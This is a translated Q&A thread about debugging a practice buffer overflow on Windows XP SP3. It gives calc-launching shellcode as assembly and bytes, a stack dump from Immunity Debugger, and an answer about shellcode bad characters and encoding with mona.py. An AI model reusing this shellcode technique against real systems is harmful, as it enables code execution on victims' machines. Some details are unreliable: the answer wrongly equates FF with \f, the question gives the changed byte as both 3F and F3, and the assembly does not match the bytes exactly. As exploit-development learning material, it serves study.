我正在尝试在xp sp3上执行简单的缓冲区溢出,但我遇到了一个问题。
这是shellcode(calc)的汇编:
xor ecx, ecx
push ecx
push 636c6163
push 1
mov edx, esp
add edx,4
push edx
mov eax, kernel32.WinExec
call eax
这是shellcode:
\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xad\x23\x86\x7c\xFF\xD0
这就是它在堆栈中的样子:
0012FF58 41414141 AAAA
0012FF5C 41414141 AAAA
0012FF60 41414141 AAAA
0012FF64 77F31D2F /ów GDI32.77F31D2F
0012FF68 90909090
0012FF6C 6851C931 1ÉQh
0012FF70 636C6163 calc
0012FF74 23ADB854 T¸#
0012FF78 **D03F**7C86 †|?Đ
问题是当shellcode被复制到堆栈上时(或者甚至在复制到堆栈之前进入内存)会发生变化。从FF D0变为3F D0,因此,shellcode不会运行。如果我手动将F3写回FF并继续在Immunity中运行程序,则会打开计算。否则,它失败了。此外,在Immunity之外运行,calc打开,但访问违规也发生在与Immunity相同的地址。
你知道为什么FF的值改为F3吗?
谢谢! 埃里克
答案 0 :(得分:0)
有些常见的不良字符不能在shellcode中使用,例如:
00 (NULL)
FF (\f)
0D (\r)
0A (\n)
在这种情况下,你可以:
- 编辑包含这些不良字符的指令以更改操作码
- 编码您的shellcode
以免疫力为例,您可以使用mona.py